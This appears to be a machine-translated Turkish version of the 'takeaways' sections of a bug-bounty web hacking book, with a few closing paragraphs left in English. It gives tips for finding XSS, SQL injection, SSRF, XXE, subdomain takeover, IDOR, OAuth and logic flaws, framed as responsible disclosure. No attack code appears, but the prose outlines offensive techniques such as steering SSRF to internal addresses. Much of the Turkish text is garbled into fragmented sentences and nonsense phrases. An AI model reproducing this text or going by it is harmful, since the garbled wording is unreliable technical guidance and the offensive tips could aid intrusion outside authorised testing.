farklı yerlerde, özellikle de JSON yanıtlarında iade ediliyordu. Çünkü
Bunun haklı olarak, rt'nin olabileceği bir yerde ortaya çıkabileceğini tahmin etti.
saldırgan tarafından erişilen ve sömürülen ”(bu durumda bir JavaScript
dosya. Bir şeylerin kapalı olduğunu düşünüyorsanız, kazmaya devam edin. Bir proxy kullanın ve tüm
Bir hedef siteyi veya uygulamayı ziyaret ettiğinizde çağrılan kaynaklar. Sen
CSRF belirteci gibi hassas verilerle bir bilgi sızıntısı bulabilir.

Ayrıca, bu harika sağlamak için ekstra mil gitmenin harika bir örneğidir
bir istismarın kanıtı. Mahmoud sadece güvenlik açığını bulmakla kalmadı, aynı zamanda
onun HTML yoluyla nasıl kullanılacağına dair tam bir örnek verdi.

HTML Enjeksiyonu

Bir siteyi test ederken, farklı tiplerdeki sitelerin nasıl işlendiğini kontrol edin.
düz metin ve kodlanmış metin dahil olmak üzere giriş. Olan siteleri aramak için olun
% 2F gibi URI kodlu değerleri kabul etme ve kod çözme değerlerini oluşturma
bu durum /. Bu örnekte hacker'ın ne düşündüğünü bilmiyor olsak da,
URI'nin kısıtlanmış karakterleri kodlamaya çalıştıklarını ve
Coinbase onları çözüyordu. Daha sonra bir adım daha ileri gittiler ve URI kodlandı
bütün karakterler.

bir harika İsviçre Ordu bıçak hangi içerir kodlama araçlar dır-dir https://gchq.github.io/CyberChef/ . Kontrol etmenizi ve eklemenizi öneririm
yararlı araçlar listenize

Kod güncellendiğinden, her şeyin sabit olduğu anlamına gelmez. Test et.
Bir değişiklik yapıldığında, bu aynı zamanda hataları içerebilecek yeni bir kod anlamına gelir.
Ek olarak, bir şeyin doğru olmadığını düşünüyorsanız, kazmaya devam edin! Ben ilk biliyordum
Son tek bir alıntı yapmak sorun olabilir, ancak nasıl yararlanacağımı bilmiyordum ve
durdu. Devam etmeliydim. Aslında meta yenileme hakkında öğrendim
FileDescriptor'ın blog.innerht.ml dosyasını okuyarak faydalanma (Kaynaklara dahil edilmiştir)
bölüm) ama çok sonra.

URL parametrelerine iletilmekte ve işlenmekte ve
site içeriği Saldırganların kurbanları aldatması için fırsatlar sunabilirler
bazı kötü niyetli eylemlerde bulunmak. Bazen bu Cross Site ile sonuçlanır
Scripting Attacks, diğer zamanlarda daha az etkili içerik sahtekarlığı ve
HTML enjeksiyonu Akılda tutulması önemlidir, bu rapor 250 dolar öderken,

Güvenlik için asgari ikramiyeydi ve tüm programlar değer ve ödeme yapmazlardı.
bu tür raporlar için.

CRLF Enjeksiyonları

İyi saldırı, gözlem ve becerinin bir birleşimidir. Bu durumda, @ filedescriptor, kodlamayı yanlış kullanan önceki bir Firefox kodlama hatasını biliyordu. Bu bilgiye dayanarak, Twitter'daki benzer kodlamaları denemesine neden oldu. eklenen kötü amaçlı karakterleri alın.

Zafiyetleri ararken, daima dışını düşünmeyi unutmayın.
kutu ve sitenin girişi nasıl ele aldığını görmek için kodlanmış değerleri gönderin.

Bir sitenin girişinizi kabul ettiği ve kullandığı fırsatlar için uyanık olun
dönüş çerezlerinin bir parçası olarak, özellikle çerezleri ayarlayarak. Bu özellikle
mağdurdan daha az etkileşim olması nedeniyle, bir GET isteği ile gerçekleştiğinde önemli
gereklidir.

Siteler Arası Komut Dosyası

Metni girdiğiniz durumlar için özel dikkat göstererek her şeyi test edin
sana geri döndürülüyor. HTML ekleyip eklemeyeceğinizi belirlemek için test edin
veya sitenin nasıl işlendiğini görmek için Javascript. Ayrıca buna benzer kodlanmış girişi deneyin
HTML Enjeksiyonu bölümünde açıklanmıştır.

XSS açıklarının karmaşık veya karmaşık olması gerekmez. Bu güvenlik açığı
bulabileceğiniz en temel şeydi - sterilize etmeyen basit bir giriş metin alanı
bir kullanıcının girişi. **Ve 21 Aralık 2015'te keşfedildi ve
500 dolar hacker!** Gereken tek şey bilgisayar korsanının bakış açısıydı.

Sayfa 235

Burada XSS güvenlik açığını bulurken yardımcı olacak not edilmesi gereken iki şey var.
kravat, bağlantı, bağ:

1. Bu durumda bu güvenlik açığı aslında dosya girişi alanında değildi -
   alanın name özelliği üzerindeydi. Peki XSS'i ararken
   fırsatlar mevcut tüm giriş değerleri ile oynamayı unutmayın.
2. Buradaki değer vekil tarafından yönlendirildikten sonra gönderildi. Bu
   Javascript'in değerlerini doğrulayan
   müşteri tarafı (tarayıcınız) herhangi bir değer aslında sitenin geri dönmeden önce
   sunucusu.

**Aslında, doğrulamayı tarayıcınızda gerçek zamanlı olarak gördüğünüzde,
bu alanı test etmeniz gereken bir kırmızı kurbağa olmalı!** Geliştiriciler yapabilir
Değerlerin bir kez kötü amaçlı kod için gönderilen değerleri doğrulamaması hatası
Javascript kodunun zaten tarayıcıda olduğunu düşündükleri için sunucularına
Giriş alınmadan önce doğrulama işlemlerini yapmak.

Javascript metni güvenli bir şekilde oluşturulduğunda XSS açıkları ortaya çıkar. Bu
metnin bir sitede birden fazla yerde kullanılması ve
Her yer test edilmelidir. Bu durumda, Shopify mağaza içermez veya
Kullanıcıların Javscript'i kendi başlarına kullanmasına izin verildiğinden XSS için çıkış sayfaları
saklayın. Düşünmeden önce bu güvenlik açığını kapatmak daha kolay olurdu
Alanın harici sosyal medya sitelerinde kullanılıp kullanılmadığı.

Yanlış biçimlendirilmiş veya bozuk HTML'yi geçmek, sitelerin nasıl ayrıştırıldığını test etmek için harika bir yoldur
giriş. Bir bilgisayar korsanı olarak, geliştiricilerin neler yapmadığını düşünmek önemlidir. İçin
Örneğin, normal resim etiketleriyle, iki src niteliği iletirseniz ne olur?
Bu nasıl olacak?

Daima güvenlik açıklarını aramaya devam edin. Bunu varsaymak kolaydır çünkü
bir şirket çok büyük ya da iyi biliniyor, her şeyin bulunduğunu biliyor. Ancak,
şirketler her zaman kodu gönderir.

Ek olarak, javascript'in çalıştırılabilmesi için birçok yol vardır.
Google'ın değerini değiştirdiğini gördükten sonra bu durumda vazgeçmek kolaydı.
bağlantıyı her tıkladığında, yani
fare.

Sayfa 236

Burada iki şey ilginç. İlk olarak, Patrik sağlamaya bir alternatif buldu
giriş - bunun için uyanık olun ve bir hedefin sağladığı tüm yöntemleri test edin
girişi girin. İkincisi, Google girişi dezenfekte ediyordu ancak ne zaman kaçtığını bilmiyordu.
render. Patrik'in girişinden kaçmış olsalardı, yük işten çıkarılmayacaktı
çünkü HTML zararsız karakterlere dönüştürülecekti.

Bu güvenlik açığı ile ilgili beni çok etkileyen çok şey var
bunu dahil etmek istiyorum. İlk olarak, Mustafa'nın ısrarı. Ne zaman pes etmek yerine
yük aslen ateşlemedi, Javascript koduna girdi ve öğrendi.
neden. İkincisi, kara listenin kullanımı tüm bilgisayar korsanları için kırmızı bir bayrak olmalıdır. Tut
hack edenler için bir göz. Son olarak, yükten çok şey öğrendim ve
@ brutelogic ile konuşuyor. Hackerlarla konuşurken ve kendimi öğrenmeye devam ederken,
Bazı Javascript bilgilerinin gerekli olduğu için kolayca anlaşılıyor
daha karmaşık güvenlik açıkları çekerek.

SstI

AngularJS kullanımı için uyanık ol ve Angular'ı kullanarak alanları test et
sözdizimi {{}}. Hayatınızı kolaylaştırmak için Firefox eklentisi Wappalyzer'i edinin - olacak
AngularJS kullanımı dahil bir sitenin hangi yazılımı kullandığını gösterir.

Bir sitenin hangi teknolojileri kullandığına dikkat edin, bunlar genellikle kilit fikirlere yol açar.
Bir siteyi nasıl kullanabileceğinizi. Bu durumda, Flask ve Jinja2 olduğu ortaya çıktı
büyük saldırı vektörleri. Ve, bazı XSS açıklarında olduğu gibi,
güvenlik açığı hemen veya kolayca görünmeyebilir, tümünü kontrol ettiğinizden emin olun
yerler metin oluşturuldu. Bu durumda, Uber sitesindeki profil adı
düz metin gösterdi ve bu güvenlik açığını gerçekten ortaya çıkaran e-posta oldu.

Bu güvenlik açığı, her Rails sitesinde bulunmaz - bağlı
Site nasıl kodlandı. Sonuç olarak, bu otomatik bir araç olacak bir şey değil
mutlaka almak. Bir sitenin Rails kullanılarak oluşturulduğunu bildiğiniz zaman uyanık olun
URL'lerin çoğu için ortak bir kural izler - en basitinde, / controller / id
Basit GET istekleri için veya / controller / id / edit, edit;

Bu url şablonunun ortaya çıktığını gördüğünüzde, oynamaya başlayın. Beklenmedik şekilde geç
değerler ve neyin geri döndüğünü görün.

SQL Enjeksiyonu

Bu örnek ilginçti, çünkü tek bir başvuruda bulunma meselesi değildi.
bir sorgu alıntı ve kırma. Aksine, her şey Drupal'ın kodunun ne olduğu ile ilgiliydi.
iç işleve geçirilen dizileri kullanma. Siyahla bulmak kolay değil.

kutu sınaması (kodu görme erişiminizin olmadığı yer). Gelen paket
Bu, girdilerin yapısını değiştirme fırsatlarını araştırmaktır.
bir siteye. Öyleyse, bir URL nereye? Parametre olarak, bir diziyi geçmeye çalışırken adını
gibi? isim [] sitenin nasıl idare ettiğini görmek için. SQLi ile sonuçlanmayabilir, ancak
diğer ilginç davranışlara yol açar.

SQLi, diğer enjeksiyon açıkları gibi, sömürülmesi zor değil. Anahtar
savunmasız olabilecek parametreleri test etmek. Bu durumda, çift ekleme
dash, Stefano'nun temelde verdiği sorgunun sonuçlarını açık bir şekilde değiştirdi
SQLi. Benzer güvenlik açıklarını ararken, incelikli olmaya dikkat et
Kör bir SQLi kırılganlığının göstergesi olabileceği için sonuçlarda değişiklik yaptı.

Kodlanmış parametreleri kabul eden HTTP isteklerine dikkat edin. Senden sonra
sorguyu kodunu çöz ve enjekte et, yükünü yeniden kodladığından emin ol
bu yüzden her şey hala veritabanını kodlamayı bekliyor.

Bir veritabanı adı, kullanıcı adı ve ana bilgisayar adının çıkarılması genellikle göz önünde bulundurulur
zararsız, ancak ödül programının izin verilen eylemleri içinde olduğundan emin olun.
çalışıyorsunuz. Bazı durumlarda, uyku komutu ispatı için yeterlidir.
kavramı.

Sunucu Tarafı İsteği Sahteciliği

Google Dorking, her türünü açığa çıkarırken size zaman kazandıracak harika bir araçtır
olası istismarların. SSRF açıkları arıyorsanız, uyanık olun
Uzaktaki içeriği çeken görünen hedef URL'ler için. Bu durumda, o
oldu **url =** eşantiyon oldu.

İkincisi, sahip olduğunuz ilk düşünce ile kaçmayın. Brett rapor verebilirdi
Bu kadar etkili olmayacak olan XSS yükü. Biraz kazarak
daha derin, bu güvenlik açığının gerçek potansiyelini ortaya çıkarabildi. Ama ne zaman
bunu yaparken aşmamak için dikkatli olun.

Web sitelerinin yapması gereken işlevler içerdiği fırsatları göz önünde bulundurun
harici HTTP istekleri. Bunlarla karşılaştığınızda, isteği işaretlemeyi deneyin
dahili olarak yukarıda listelenen özel ağ IP adresini kullanarak.

Site dahili IP'lere erişemezse, bir keresinde Justin Kennedy'ye bir numara önerildi:
dış HTTP isteğini sizin kontrol ettiğiniz ve yanıtladığınız bir sunucuya yapacaktım
301 yönlendirmesi ile bu istek. Bu tür bir cevap istekte bulunduğunu
Talep ettikleri kaynağın yeri değişti ve onları işaret etti
yeni bir yere Yanıtı kontrol ettiğinizden, yönlendirmeyi işaret edebilirsiniz.
sunucuyu görmek için dahili bir IP adresine yönlendirmek
iç ağ

Web kancaları oluşturmak için bir URL gönderebilir veya uzaktan kasten içeri aktarabilirseniz
içeriği belirli portları tanımlamaya çalışın. Bir sunucunun yanıt verme şeklindeki küçük değişiklikler

farklı portlar portun açık / kapalı ya da filtreli olup olmadığını ortaya çıkarabilir. Ek olarak Sunucunun döndürdüğü mesajlardaki farklılıklara
bunlar açık / kapalı ya da sunucunun yanıt vermesi ne kadar sürerse filtreleniyorlar istek için.

XML Dış Varlığı Güvenlik Açığı

Büyük Çocuklar bile savunmasız kalabilir. Bu rapor neredeyse 2 yaşında olmasına rağmen, Hala büyük şirketlerin nasıl hatalar yapabildiğinin harika bir örneği. Gerekli olan Bunu kaldırmak için XML, XML ayrıştırıcı kullanan sitelere kolayca yüklenebilir. Ancak, bazen site yanıt vermez, bu nedenle diğerlerini denemeniz gerekir Yukarıdaki OWASP kopya sayfasından girdi.

Burada birkaç paket servis var. XML dosyaları farklı şekillerde ve boyutlarda gelir - .docx, .xlsx, .pptx, vb. kabul eden sitelere dikkat edin. şiddetle, bazen hemen XXE'den yanıt alamayacaksınız - bu Örnek, ping'lenecek bir sunucuyu nasıl ayarlayabileceğinizi gösterir. XXE.

Ek olarak, diğer örneklerde olduğu gibi, bazen raporlar başlangıçta reddedilir. Sizinle çalışmanız için kendinize güvenmeniz ve bağlı kalmanız önemlidir. neden rapor ederken, kararlarına saygı duyarak, bir şeyin nedenini açıklarken bir güvenlik açığı olabilir.

Sayfa 239

Belirtildiği gibi, bu, XML şablonlarını nasıl kullanabileceğinizi gösteren harika bir örnek. kendi XML varlıklarınızı gömmek için bir dosya oluşturun, böylece dosya uygun şekilde ayrıştırılır hedef. Bu durumda, Wikiloc bir .gpx dosyası bekliyordu ve David bunu sürdürdü kendi XML varlıklarını beklenen etiketlerin içine, özellikle <name> etiketi. Ayrıca, kötü amaçlı bir dtd dosyasına nasıl hizmet edildiğini görmek ilginç daha sonra bir hedef için GET istekleri yapmak bir hedef olması için geri kaldıraç edilebilir URL parametreleri olarak dosya içeriği ile sunucu.

Uzaktan Kod Yürütme

Okuma başarılı hacklemenin büyük bir parçasıdır ve okuma hakkında yazılım açıkları ve Ortak Güvenlik Açıkları ve Etkilenmeler (CVE Identifiers). Geçmiş güvenlik açıklarını bilmek, karşılaştığınızda size yardımcı olabilir güvenlik güncellemelerine uymayan siteler. Bu durumda, Yahoo yamalıydı Sunucu ancak yanlış yapıldı (ne olduğunu bulamadım demek). Sonuç olarak, ImageMagick güvenlik açığını bilmek Ben'e izin verdi 2000 dolarlık bir ödülle sonuçlanan bu yazılımı özellikle hedeflemek.

Her zaman çene düşüyor ve heyecan verici olmasa da, uygun keşif yapmak
değerli olduğunu kanıtlayabilir. Burada, Michiel açık alanda oturan bir güvenlik açığı buldu
6 Nisan 2014'ten bu yana sadece halka açık Angolia'da Gitrob'u çalıştırarak
Facebook-Arama deposu. Siz çalışırken çalıştırılabilen ve çalıştırılabilen bir görev
incelemeye devam etmek için geri dönerek diğer hedefleri aramaya ve hacklemeye devam edin.
tamamlandıktan sonra bulgular.

Bu güvenlik açığı üzerinde çalışmak çok eğlenceliydi. İlk yığın izi kırmızıydı
Bir şeyin yanlış olduğunu ve içinde ayrıntılı olarak açıklanan diğer güvenlik açıklarını işaretleyin.
Kitap, dumanın olduğu yerde yangın var. James Kettle'ın blog yazısı yayınlanırken
Aslında kullanılacak kötü niyetli yükü de göz ardı ettim. Ancak, bu verdi
Bana Smarty'yi okuma alıştırmalarını öğrenme ve öğrenme fırsatı
dokümantasyon. Bunu yapmak, beni ayrılmış değişkenlere ve {php} etiketine yönlendirdi.
kendi kodumu çalıştır.

Sayfa 240

Hafıza

Arabellek Taşması eski, iyi bilinen bir güvenlik açığıdır, ancak ne zaman yaygındır
özellikle kendi hafızasını yöneten uygulamalar ile ilgilenmek
C ++. C'ye dayalı bir web uygulamasıyla karşı karşıya olduğunuzu öğrenirseniz,
dil (PHP yazılmıştır), arabellek taşmaları belirgin bir olasılıktır.
Ancak, yeni başlıyorsanız, muhtemelen bulmak için zaman ayırmaya değer
enjeksiyonla ilgili güvenlik açıklarını daha basit hale getirin ve arabellek taşmalarına geri dönün
sen daha deneyimlisin.

Şimdi yanlış uygulanan iki fonksiyonun örneğini gördük.
Tampon **Taşmalarına** karşı duyarlı, **memcpy** ve **strcpy** . Bir site biliyorsak
veya uygulama C veya C ++ 'a dayanıyorsa, kaynak üzerinden arama yapmak mümkündür
yanlış bulmak için bu dil için kitaplıkları kodlayın (grep gibi bir şey kullanın)
uygulamalar.

Anahtar, sabit uzunluktaki bir değişkeni geçen uygulamaları bulmak olacaktır.
Her iki fonksiyona üçüncü parametre, olması gereken veri boyutuna karşılık gelir.
kopyalanan veriler aslında değişken bir uzunluktayken tahsis edilir.

Ancak, yukarıda belirtildiği gibi, yeni başlıyorsanız, daha değerli olabilir
geri dönerek bu tür güvenlik açıklarını aramayı bırakma vaktiniz
beyaz şapka kırma ile daha rahat olduklarında onları.

Bu çok karmaşık bir güvenlik açığı örneğidir. Varlık sınırında iken
Bu kitabın amacı için çok teknik, ben göstermek için dahil

öğrendiklerimizle benzerlikler. Bunu yıktığımızda, bu
güvenlik açığı, ilişkili C kodu uygulamasındaki bir hatayla da ilişkilendirildi.
Hafıza yönetimi ile, özellikle hafızanın kopyalanması. Yine gidiyorsan
C seviyesi programlamada kazmaya başlamak için, verilerin bulunduğu alanları aramaya başlayın.
bir hafıza konumundan diğerine kopyalanmak.

Tıpkı Arabellek Taşmaları gibi, Bellek Bozulması eski ama yine de yaygın
kendi hafızasını yöneten uygulamalarla çalışırken güvenlik açığı,
özellikle C ve C ++. Bir web uygulaması ile uğraştığınızı öğrenirseniz
(PHP'nin yazıldığı) C diline göre yollar aramak
bu hafıza manipüle edilebilir. Ancak, yine, yeni başlıyorsanız, bu
Enjeksiyonla ilgili basit güvenlik açıklarını bulmak için zaman ayırmaya değer olabilir
ve daha fazla deneyiminiz olduğunda Hafıza Yolsuzluğuna geri dönün.

Alt Etki Alanı Devralma

DNS girişleri, güvenlik açıklarını ortaya çıkarmak için yeni ve benzersiz bir fırsat sunar. kullanım
Alt alan adlarının varlığını doğrulamak için KnockPy ve ardından onayla
üçüncü taraflara özel dikkat gösteren geçerli kaynaklara işaret ediyorlar
AWS, Github, Zendesk vb. gibi servis sağlayıcılar
özelleştirilmiş URL'leri kaydedin.

ÇOK DİKKAT! Bu güvenlik açığı Şubat 2016'da bulundu ve karmaşık değildi
hiç. Başarılı böcek avı keskin gözlem gerektirir.

Açıklandığı gibi, burada birden fazla paket servisi var. İlk önce, **crt.sh** ile
alt alanları keşfet. Bir içinde ek hedeflerin bir altın madeni gibi görünüyor
programı. İkincisi, alt etki alanı devralma yalnızca dış hizmetlerle sınırlı değildir
Gibi S3, Heroku, vb. Burada, Sean aslında kaydedilen daha fazla adım attı
süresi dolan etki alanı Shopify işaret ediyordu. Kötü niyetli olsaydı,
alan adındaki Shopify oturum açma sayfasını kopyaladı ve kullanıcı toplamaya başladı
kimlik bilgileri.

Yine, burada birkaç yolumuz var. İlk olarak, alt etki alanı ararken
devralma, ortaya çıktığı gibi *** .global.ssl.fastly.net** URL'leri için uyanık **olun**
Hızla başka bir web servisidir, kullanıcıların isimleri global olarak kaydetmelerine izin verir.
ad alanı. Alanlar savunmasız olduğunda, Hızlı bir şekilde mesaj boyunca bir mesaj görüntüler.
"Hızlı etki alanı yok" satırları.

İkincisi, güvenlik açıklarınızı onaylamak için her zaman ekstra adıma geçin. Bu durumda,
Ebrietas tarafından sahip olunan onaylamak için SSL sertifika bilgileri baktı
Raporlamadan önce Snapchat. Son olarak, devralmanın etkileri her zaman değildir
Hemen görünür. Bu durumda, Ebrietas bu servisin kullanıldığını düşünmedi
trafiğin geldiğini görene kadar. Devralma güvenlik açığı bulursanız,

Servis, herhangi bir isteğin gelip gelmediğini görmek için bir süre bekleyebilir. Bu olabilir
Güvenlik açığını açıklamak için konunun ciddiyetini belirlemenize yardımcı
rapor ettiğiniz program etkili olanın bileşenlerinden biridir.
Güvenlik Açığı Raporları bölümünde tartışıldığı gibi rapor verin.

Bu örneği iki nedenden dolayı dahil ettim; Birincisi, Frans denizaltısını talep etmeye çalıştığında
Modulus üzerinde etki alanı, tam eşleşme alındı. Ancak, pes etmek yerine,
Joker kart alanını talep etmeye çalıştı. Diğer bilgisayar korsanları için konuşamıyor olsam da
Eğer onun yerinde olsaydım, dener miydim bilmiyorum. Öyleyse ileriye gidiyor, eğer
Kendinizi aynı konumda bulursanız, üçüncü taraf hizmetlerinin olup olmadığını kontrol edin.
joker kart talebinde bulunur.

İkincisi, Frans aslında alt alanı talep etti. Bu açık olsa da
bazı, savunmasız olduğunuzu kanıtlamanın önemini tekrarlamak istiyorum
raporlanması. Bu durumda, Frans, hak talebinde bulunabilmesini sağlamak için ek bir adım attı.
alt etki alanı ve kendi içeriğini barındırma. Büyük hacker'ları farklılaştıran şey bu
iyi hackerlardan, raporlamadığınızdan emin olmak için bu fazla çabayı sarf ediyorum
yanlış pozitifler.

Bu güvenlik açığı, üçüncülere kazmanın ne kadar paha biçilmez olduğuna bir başka örnektir
parti servisleri, kütüphaneler vb. siteleri kullanıyor. Belgeleri okuyarak,
SendGrid'i öğrenmek ve sundukları hizmetleri anlamak, Ura-
nium238 bu sorunu buldu. Ek olarak, bu örnekte
devralma fırsatları aramak, hangi işlevsellik için uyanık olmak
alt etki alanları talep etmenize olanak sağlar.

Yarış koşulları

Yarış koşulları, bazen var olabilecek ilginç bir güvenlik açığı vektörüdür
uygulamaların para, kredi gibi bir tür denge ile uğraştığı yerlerde,
Güvenlik açığını bulmak her zaman ilk denemede olmaz ve
birkaç eşzamanlı tekrarlanan isteklerde bulunma gerektiren. İşte, Egor altı yaptı
başarılı olmadan önce istekler ve sonra gitti ve onaylamak için bir satın alma yaptı
kavramın kanıtı.

Bu kırılganlığı bulmak ve kullanmak gerçekten çok eğlenceliydi;
düğmelere tıklamak zorunda kaldığımdan beri kendimle ve HackerOne platformuyla
çok hızlı. Ancak benzer güvenlik açıklarını belirlemeye çalışırken
Yukarıda tanımladığım adımların altına düşebilecek durumlar için
bir veritabanı araması, kodlama mantığı ve bir veritabanı güncellemesi. Bu senaryo borç verebilir
kendisini bir yarış durumu güvenlik açığı için.

Ek olarak, testinizi otomatikleştirmenin yollarını arayın. Neyse ki benim için mümkün oldu

Bunu pek çok girişimde bulunmadan başarmak için ancak muhtemelen sonra pes olurdu
4 veya 5, kullanıcıları sınama ve her test için davetiyeyi yeniden gönderme gereği verir.

Bu tür yarış koşullarını kabul etmek ve ödemek,
bir siteye izin verilir, bir programın öncelikleri, işlevselliği ve riskine bağlıdır
profil. Bu durumda, Keybase muhtemelen bunu denediği için kabul etti
Bunun atladığı sitelere kayıtlı kullanıcı sayısını yönetmek.
Bu, davet işlevselliği içeren tüm hata ödül programları için geçerli değildir.
HackerOne ile gösterildiği gibi, daha önce ele alınan davet örneğidir. Eğer
benzer bir şey bildirirken, raporunuzun neden olması gerektiğini açıkça belirttiğinizden emin olun.
bir güvenlik açığı olarak kabul edilmek.

Bir siteyi kullanırken, ziyaret ettikten sonra verileri iyi işlediğini fark ederseniz
Site, muhtemelen verileri işlemek için bir arka plan işi kullanıyor. Bu bir kırmızı bayrak
Sitenin etkili olup olmayacağını görmek için işi tanımlayan koşulları test etmelisiniz
eski olanlara karşı yeni koşullar. Bu örnekte, HackerOne idi
bir e-posta adresinin ödemelerini belirli bir para göndermeye karşı birleştirmek
e-mail adresleri. Davranışı arka plandan beri iyice test ettiğinizden emin olun.
işleme bağlı olarak çok çabuktan uzun zamana kadar her yerde olabilir.
kaç işin tamamlanması için kuyruğa alındı ve sitenin yaklaşımı
Veri işleniyor.

Güvensiz Doğrudan Nesne Referansları

Kimlik doğrulamaya dayalı güvenlik açıkları arıyorsanız, aramaya devam edin
Kimlik bilgilerinin bir siteye geçirildiği yer. Bu güvenlik açığı yakalanırken
Sayfa kaynak koduna bakarak bilgileri de fark etmiş olabilirsiniz.
Proxy önleyici kullanıldığında geçiriliyor.

Bir tür kimlik bilgisi iletildiğini tespit ederseniz, not almadıklarında not alın.
şifreli görün ve onlarla oynamaya çalışın. Bu durumda, pim sadece CRrylic idi
Şifre 0e552ae717a1d08cb134f132 iken
şifre iken şifreli. Şifrelenmemiş değerler güzel bir alanı temsil eder.
ile oynamaya başlayın.

IDOR'lar için testler, yeteneklerin yanı sıra keskin bir gözlem gerektirir. İncelerken
Güvenlik açıkları için HTTP istekleri, aşağıdaki gibi hesap tanımlayıcıları aramaya başlayın
Yukarıdaki Administration_id. Alan adı iken, **management_id**
hesap_adı adı verilen , sade **olana** kıyasla biraz yanıltıcıdır
tamsayı kontrol etmem gereken bir kırmızı bayraktı. Ek olarak, uzunluğu
parametresinde, güvenlik açığından yararlanmadan güvenlik açığından yararlanılması zor olurdu.
bir sürü ağ gürültüsü duymak,
doğru kimlik Benzer güvenlik açıkları bulursanız, raporunuzu geliştirmek için her zaman açık
kimlikleri ifşa eden HTTP yanıtları, URL'ler vb. Neyse ki benim için, kimliği
İhtiyacım olan hesap URL'sine dahil edildi.

Yukarıdaki Moneybird örneğine benzese de, her ikisinin de kötüye kullanılması gerektiğinden
sızdırılmış kuruluş kimliklerini imtiyazları yükseltmek için, bu örnek harika çünkü
sıfır ile kullanıcılara uzaktan saldırabilmenin ciddiyetini göstermektedir
onların adına etkileşim ve tam bir istismar gösterme ihtiyacı. Başlangıçta,
Akhil tam hesap devralma dahil veya göstermedi ve
Twitter'ın bu söze verdiği yanıt (örneğin, ayrıntı istemek ve
öyleyse), başlangıçta çözülürken bu etkiyi düşünmemiş olabilirler.
Güvenlik açığı. Bu yüzden, rapor verirken, raporun tamamını dikkate aldığınızdan ve ayrıntılarını anladığınızdan emin olun.
Raporladığınız güvenlik açığının, yeniden oluşturma adımları da dahil olmak üzere etkisi.

OAuth

Güvenlik açıklarını ararken, eski varlıklardan nasıl yararlanılabileceğini göz önünde bulundurun.
Hacklenirken, bırakılabilecek uygulama değişikliklerine dikkat edin
bunlar gibi kaynaklar ortaya çıkar. Philippe'den gelen bu örnek harika çünkü o
OAuth belirteçlerini çalarak ve bir son hedefi belirleyerek onunla başladı
Bunu yapmak için araçlar.

Ek olarak, bu örneği beğendiyseniz Philippe'nin Bloguna göz atmalısınız. [1]
(Kaynaklar Bölümüne dahil) ve Oturduğu Hacking Pro İpuçları Röportajı
yapmak için benimle aşağı - o bir çok büyük tavsiye sağlar !.

Biraz eski olsa da, bu güvenlik açığı OAuth redirect_uri değerinin nasıl olduğunu gösterir.
tarihlemeler **kaynak sunucular** tarafından yanlış yapılandırılabilir . Bu durumda, Slack'in
bir saldırganın alan sonekleri eklemesine izin veren OAuth'un uygulanması
ve belirteçleri çalmak.

[1] https://www.philippeharewood.com

Burada birkaç paket servis var. İlk olarak, OAuth güvenlik açıkları her zaman ilgili değildir

belirteçleri çalmak. OAuth tarafından korunan API isteklerine dikkat edin.
belirteci göndermiyor veya doğrulamıyor (ör. OAuth belirteç başlığını kaldırmayı deneyin
bir tanımlayıcı varsa, URL'deki sayfa kimliği gibi). İkincisi, bu önemli
Tarayıcıların Javascript ve JSON'u nasıl yorumladığını anlamak ve anlamak. Bu
güvenlik açığı, Google'ın geçerli bir şekilde döndüğü için kısmen mümkün
JSON içeren Javascript nesnesi. Son olarak, bu ortak bir tema iken
kitap, belgeleri okuyun. Google'ın yanıtlarla ilgili belgeleri
elektronik tablo verilerini gönderen çalışan bir kavram kanıtı geliştirmenin anahtarı
Uzak bir sunucuya

Uygulama Mantığı Güvenlik Açıkları

Burada iki anahtar var. İlk olarak, her şey kod enjekte etmekle ilgili değildir,
HTML vb. Her zaman bir proxy kullanmayı unutmayın ve hangi bilgilerin bulunduğunu izleyin.
bir siteye geçti ve ne olduğunu görmek için onunla oyna. Bu durumda, tüm aldı
Güvenlik kontrollerini atlamak için POST parametrelerinin kaldırılması. İkincisi, yine hepsi değil
saldırılar HTML web sayfalarına dayanmaktadır. API bitiş noktaları her zaman potansiyel sunar
güvenlik açığı bölgesi bu yüzden her ikisini de değerlendirdiğinizden ve test ettiğinizden emin olun.

Kısa bir açıklama olsa da, buradaki paket servis paketinin abartılamaması **durumunda yeni işlevsellik için dikkat!** . Bir site yeni işlevler uyguladığında, bu
taze et. Yeni işlevsellik, yeni kodu test etme fırsatını temsil eder ve
böcek aramak. Bu Shopify Twitter CSRF ve Facebook için aynıydı
XSS açıkları.

Bundan en iyi şekilde yararlanmak için, şirketlere kendinizi tanıtmak iyi bir fikirdir
ve şirket bloglarına, haber bültenlerine vb. abone olun, böylece ne zaman haberdar olun
bir şey serbest bırakıldı. Sonra test et.

Potansiyel bir hedef belirlerken, tüm farklı araçları not aldığınızdan emin olun,
Web servisleri de dahil olmak üzere kullanıyorlar. Her servis, yazılım, işletim sistemi vb.
Potansiyel yeni bir saldırı vektörünü ortaya çıkarır. Ayrıca, bu iyi bir fikir
AWS S3, Zendesk, Rails, vb. popüler web araçlarını tanımak.
birçok sitenin kullandığı.

Bundan birden fazla paket var:

1. Yaratıcılığınızı ve bunun olası hata potansiyelini küçümsemeyin.
   geliştiricileri. HackerOne, müthiş güvenlikten müthiş bir ekip.
   Arama yapan. Ancak insanlar hata yapar. Varsayımlarınıza meydan okuyun.
2. İlk denemeden sonra pes etmeyin. Bunu bulduğumda, her birine göz atıyordum.
   kova mevcut değildi ve ben de neredeyse uzaklaşıyordum. Ama sonra yazmaya çalıştım

bir dosya ve calıstı.

3. Her şey bilgi ile ilgili. Hangi tür güvenlik açıklarının olduğunu biliyorsanız, ne arayacağımı ve test edeceğini biliyorsun. Bu kitabı satın almak harika bir ilk adımdı.
4. Daha önce söyledim, tekrar söyleyeceğim, bir saldırı yüzeyi daha fazla web sitesi, aynı zamanda şirketin kullandığı hizmetler. At gözlüklerini çıkar.

Two factor authentication is a tricky system to get right. When you notice a site is using it, you'll want to fully test out all functionality including token lifetime, maximum number of attempts, reusing expired tokens, likelihood of guessing a token, etc.

When hacking, consider a company's entire infrastructure fair game unless they tell you it's out of scope. While this report didn't pay a bounty, I know that Patrik has employed similar techniques to find some significant four figure payouts.

Additionally, you'll notice there was 260,000 potential addresses here, which would have been impossible to scan manually. When performing this type of testing, automation is hugely important and something that should be employed.

Javascript source code provides you with actual source code from a target you can explore. This is great because your testing goes from blackbox, having no idea what the back end is doing, to whitebox (though not entirely) where you have insight into how code is being executed. This doesn't mean you have to walk through every line, the POST call in this case was found on line 20570 with a simple search for **POST**.

